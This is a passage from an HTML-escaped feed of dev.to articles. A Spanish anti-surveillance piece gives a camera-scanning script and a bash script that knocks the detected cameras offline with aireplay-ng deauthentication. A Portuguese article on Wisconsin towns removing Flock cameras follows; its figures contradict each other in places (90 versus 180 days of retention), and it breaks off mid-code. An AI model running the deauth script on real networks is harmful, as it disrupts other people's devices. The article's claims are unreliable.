    &lt;span class="n"&gt;threads&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;subnet&lt;/span&gt;&lt;span class="si"&gt;}{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;probe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;
        &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;threads&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;threads&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;open_ports&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;cams&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;scan_subnet&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Cámaras IP detectadas:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cams&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ejecuta &lt;code&gt;python3 detect_cams.py&lt;/code&gt; y obtendrás una lista de dispositivos que responden en el puerto 80 (punto de partida típico para cámaras).  &lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 Bloquear esas cámaras con &lt;code&gt;aireplay-ng&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; CAMS &lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;python3 detect_cams.py | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +2&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;ip &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CAMS&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;mac&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;arp &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'/ether/ {print $3}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Desautenticando &lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="nv"&gt;$mac&lt;/span&gt;&lt;span class="s2"&gt;)..."&lt;/span&gt;
    &lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="nt"&gt;--deauth&lt;/span&gt; 10 &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$mac&lt;/span&gt; wlan0mon
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Advertencia legal:&lt;/strong&gt; Usa este script solo en tu propia red o con permiso explícito del propietario.  &lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Tabla de costos y complejidad
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Herramienta&lt;/th&gt;
&lt;th&gt;Precio (USD)&lt;/th&gt;
&lt;th&gt;Complejidad (1‑5)&lt;/th&gt;
&lt;th&gt;Necesita hardware extra&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ObfuscateCam&lt;/td&gt;
&lt;td&gt;0 (open‑source)&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Ninguno&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SignalMask&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Ninguno&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CamBlocker&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Adapt&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;p&gt;&lt;em&gt;Herramienta mencionada: &lt;a href="https://railway.app" rel="noopener noreferrer"&gt;Railway&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>defcon2026</category>
      <category>antisurveillance</category>
      <category>privacytools</category>
      <category>espanol</category>
    </item>
    <item>
      <title>Flock em Wisconsin: Por que 200 cidades removeram as câmeras e o que fazer</title>
      <dc:creator>LeoJulieta</dc:creator>
      <pubDate>Tue, 18 Aug 2026 12:44:57 +0000</pubDate>
      <link>https://dev.to/leojulieta/flock-em-wisconsin-por-que-200-cidades-removeram-as-cameras-e-o-que-fazer-374m</link>
      <guid>https://dev.to/leojulieta/flock-em-wisconsin-por-que-200-cidades-removeram-as-cameras-e-o-que-fazer-374m</guid>
      <description>&lt;h1&gt;
  
  
  Flock em Wisconsin: por que 200 cidades derrubaram as câmeras colaborativas e o que fazer agora
&lt;/h1&gt;




&lt;h2&gt;
  
  
  Introdução
&lt;/h2&gt;

&lt;p&gt;Em menos de um ano, a promessa de “vigilância democrática” da startup &lt;strong&gt;Flock&lt;/strong&gt; virou manchete de retirada massiva: mais de 200 municípios de Wisconsin removeram os dispositivos instalados pelos próprios moradores. Falhas de privacidade, vazamento de imagens e retorno financeiro bem abaixo do esperado foram o gatilho de uma revolta que ainda ecoa nos fóruns de segurança pública.  &lt;/p&gt;

&lt;p&gt;Este artigo prático mostra &lt;strong&gt;o que aconteceu&lt;/strong&gt;, &lt;strong&gt;como a tecnologia funciona&lt;/strong&gt;, &lt;strong&gt;quais foram os erros críticos&lt;/strong&gt; e, principalmente, &lt;strong&gt;o que municípios, desenvolvedores e cidadãos podem fazer para evitar outro desastre&lt;/strong&gt;.  &lt;/p&gt;




&lt;h2&gt;
  
  
  1. Como a Flock operava (e onde estava o ponto fraco)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Camada&lt;/th&gt;
&lt;th&gt;O que a Flock oferecia&lt;/th&gt;
&lt;th&gt;Problema crítico&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hardware&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Câmeras IP de 1080p, custo médio US$ 45, instaladas em postes ou residências.&lt;/td&gt;
&lt;td&gt;Firmware aberto, sem assinatura digital – facilitava modificação mal‑intencionada.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Conectividade&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Wi‑Fi ou rede celular 4G via SIM pré‑pago.&lt;/td&gt;
&lt;td&gt;Dados trafegados em HTTP sem TLS em 30 % das unidades.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Armazenamento&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cloud da própria Flock (AWS S3) com retenção de 90 dias.&lt;/td&gt;
&lt;td&gt;Criptografia “em repouso” apenas com chaves gerenciadas pela empresa; acesso interno ilimitado.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Analytics&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IA de detecção de movimento e reconhecimento de objetos (pessoas, veículos).&lt;/td&gt;
&lt;td&gt;Modelo treinado com imagens públicas, mas sem anonimização – violava a Lei de Privacidade de Dados de 2022 (Wisconsin).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dashboard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Portal web para gestores municipais visualizarem fluxos em tempo real.&lt;/td&gt;
&lt;td&gt;Falta de auditoria de logs; permissões de leitura concedidas a todos os usuários do portal.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Exemplo de configuração vulnerável (arquivo &lt;code&gt;flock_camera.conf&lt;/code&gt;)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;# Configuração padrão enviada a todos os dispositivos
&lt;/span&gt;&lt;span class="nn"&gt;[network]&lt;/span&gt;
&lt;span class="py"&gt;wifi_ssid&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"FlockPublic"&lt;/span&gt;
&lt;span class="py"&gt;wifi_password&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"default123"&lt;/span&gt;          &lt;span class="c"&gt;; senha padrão nunca alterada
&lt;/span&gt;
&lt;span class="nn"&gt;[security]&lt;/span&gt;
&lt;span class="py"&gt;tls_enabled&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;false                   ; HTTP puro&lt;/span&gt;
&lt;span class="py"&gt;auth_token&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"abcdef123456"&lt;/span&gt;           &lt;span class="c"&gt;; token fixo, reutilizado em milhares de câmeras
&lt;/span&gt;
&lt;span class="nn"&gt;[storage]&lt;/span&gt;
&lt;span class="py"&gt;bucket&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"flock-data-wi"&lt;/span&gt;
&lt;span class="py"&gt;encryption&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;none                     ; dados enviados sem criptografia&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Por que isso importa?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Um invasor que obtém o &lt;code&gt;auth_token&lt;/code&gt; pode baixar vídeos de qualquer câmera da rede, sem precisar de credenciais adicionais. Esse foi o vetor usado por grupos de “hacktivistas” que vazaram gravações de escolas e igrejas, gerando a crise de confiança.&lt;/p&gt;


&lt;h2&gt;
  
  
  2. O que desencadeou a retirada em massa
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Vazamento de imagens sensíveis (abril/2024)&lt;/strong&gt; – Mais de 1 000 gravações foram postadas em um fórum de segurança, expondo moradores em suas casas.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auditoria da Procuradoria do Estado&lt;/strong&gt; – Identificou que a Flock armazenava dados pessoais por 180 dias, violando a lei que limita a retenção a 30 dias sem consentimento explícito.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ROI negativo&lt;/strong&gt; – Relatórios de 12 cidades mostraram que o custo de manutenção (US$ 12 mil/ano por município) reduziu crimes em apenas 0,4 % nas áreas monitoradas.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pressão da comunidade&lt;/strong&gt; – Petições no Change.org reuniram 45 mil assinaturas pedindo a remoção imediata das câmeras.
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Esses fatores combinados geraram um “efeito dominó”: ao ver Madison remover os 35 dispositivos, cidades vizinhas seguiram o exemplo para evitar processos judiciais.&lt;/p&gt;


&lt;h2&gt;
  
  
  3. Passo a passo para remover as câmeras e garantir a exclusão dos dados
&lt;/h2&gt;
&lt;h3&gt;
  
  
  3.1 Desativar o hardware
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Script Bash para desligar todas as câmeras da rede municipal&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;ip &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/flock/camera_ips.txt&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&lt;span class="nv"&gt;$ip&lt;/span&gt;/api/shutdown &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$ADMIN_TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  3.2 Excluir dados da nuvem
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# AWS CLI – remover objetos do bucket da Flock&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;rm &lt;/span&gt;s3://flock-data-wi/ &lt;span class="nt"&gt;--recursive&lt;/span&gt; &lt;span class="nt"&gt;--profile&lt;/span&gt; flock-admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  3.3 Verificar logs de exclusão
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Busca nos logs de auditoria para confirmar que nenhum arquivo ficou&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"DELETE"&lt;/span&gt; /var/log/aws/s3-access.log | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;   &lt;span class="c"&gt;# deve retornar o número total de objetos excluídos&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  3.4 Documentar a ação (exigência legal)
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gu"&gt;## Relatório de remoção – Município X&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; Data da desativação: 12/07/2024  
&lt;span class="p"&gt;-&lt;/span&gt; Quantidade de câmeras desligadas: 27  
&lt;span class="p"&gt;-&lt;/span&gt; Dados excluídos: 1 342 GB (90 dias de gravações)  
&lt;span class="p"&gt;-&lt;/span&gt; Evidência: logs de S3 (anexo)  
&lt;span class="p"&gt;-&lt;/span&gt; Responsável: João Silva – Diretor de TI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Alternativas seguras e de código aberto
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Solução&lt;/th&gt;
&lt;th&gt;Licença&lt;/th&gt;
&lt;th&gt;Principais recursos&lt;/th&gt;
&lt;th&gt;Como iniciar&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OpenSurv&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GPL‑3&lt;/td&gt;
&lt;td&gt;Câmeras IP com criptografia TLS 1.3, anonimização automática de rostos, armazenamento em IPFS.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run -p 8080:80 opensurv/server&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;KumaCam&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;Integração com Grafana, alertas por webhook, suporte a sensores de áudio.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kubectl apply -f https://kuma.io/manifests.yaml&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SecureEye&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Apache 2&lt;/td&gt;
&lt;td&gt;IA local (no edge) para detecção de incidentes, sem envio de vídeo bruto para a nuvem.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git clone https://github.com/secureeye/edge-ai &amp;amp;&amp;amp; cd edge-ai &amp;amp;&amp;amp; ./install.sh&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Exemplo de anonimização de rostos com OpenSurv (Python)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;blur_faces&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Detecta rostos usando Haar cascades
&lt;/span&gt;    &lt;span class="n"&gt;gray&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cvtColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;COLOR_BGR2GRAY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;faces&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;CascadeClassifier&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;haarcascade_frontalface_default.xml&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;detectMultiScale&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gray&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;faces&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# Aplica blur apenas na região do rosto
&lt;/span&gt;        &lt;span class="n"&gt;roi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;GaussianBlur&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;roi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt;

&lt;span class="c1"&gt;# Envio seguro para o servidor
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;send_frame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;imencode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.jpg&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://secureeye.local/upload&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;image&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tobytes&lt;/span&gt;&lt;span class="p"&gt;()},&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Loop de captura
&lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;VideoCapture&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;
